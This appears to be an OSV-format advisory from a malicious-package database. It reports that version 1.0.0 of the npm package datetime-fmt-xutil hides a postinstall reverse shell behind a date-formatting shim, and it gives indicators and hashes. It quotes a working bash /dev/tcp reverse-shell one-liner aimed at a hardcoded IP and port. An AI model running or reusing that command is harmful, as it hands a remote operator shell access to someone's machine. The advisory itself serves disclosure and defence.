{"id":"MAL-2026-13935","summary":"Malicious code in datetime-fmt-xutil (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (7f916f6db3bec145472f71c43358b7e8056efb981041a3b4e9bffe8bbaec9997)\nThe npm package's postinstall.js opens a TCP connection to the hardcoded IP 8.135.48.40 on port 4444 and pipes /bin/sh stdio through the socket, granting interactive shell access on the installer's machine to the operator of that endpoint. Bash (`bash -i \u003e& /dev/tcp/8.135.48.40/4444 0\u003e&1`) and python3 pty.spawn one-liners are executed as fallbacks, and failures are beaconed via HTTP GET to http://8.135.48.40/shell/failed?err=.... The behavior runs unconditionally at npm install via scripts.postinstall; the package's index.js date-formatting shim is a cover for the reverse-shell payload. The hardcoded bare IP has no relation to any declared publisher.\n","modified":"2026-08-13T15:30:14.620613857Z","published":"2026-08-13T14:59:12Z","database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-017626","import_time":"2026-08-13T15:26:43.058150327Z","modified_time":"2026-08-13T14:59:12Z","sha256":"7f916f6db3bec145472f71c43358b7e8056efb981041a3b4e9bffe8bbaec9997","source":"amazon-inspector","versions":["1.0.0"]}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/datetime-fmt-xutil/v/1.0.0"}],"affected":[{"package":{"name":"datetime-fmt-xutil","ecosystem":"npm","purl":"pkg:npm/datetime-fmt-xutil"},"versions":["1.0.0"],"database_specific":{"cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."}],"indicators":{"evidence_files":[{"tlsh":"9811ebe905fad07caf7b247866bfa426211342077819eee4b8ce0b03af125680c123a1","path":"postinstall.js","sha256":"6da6821e4a53bdd6c0e40a6f81a0491b98031c5444cf7582b3ec40c08e4718a2"}],"package_integrity":[{"hashes":{"sha1":"8937d773632c10a8e05acc23d03ddd8099acc43a","sha512_sri":"sha512-MJMGUiQXFJOq1piLG2HB0bgIulNXybObeJwZlGI53Rei7Au8x6GnhAd8oeyN1DrBRk8pIwEC9ikhFGHo+K9/kQ=="},"filename":"datetime-fmt-xutil-1.0.0.tgz"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/datetime-fmt-xutil/MAL-2026-13935.json"}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}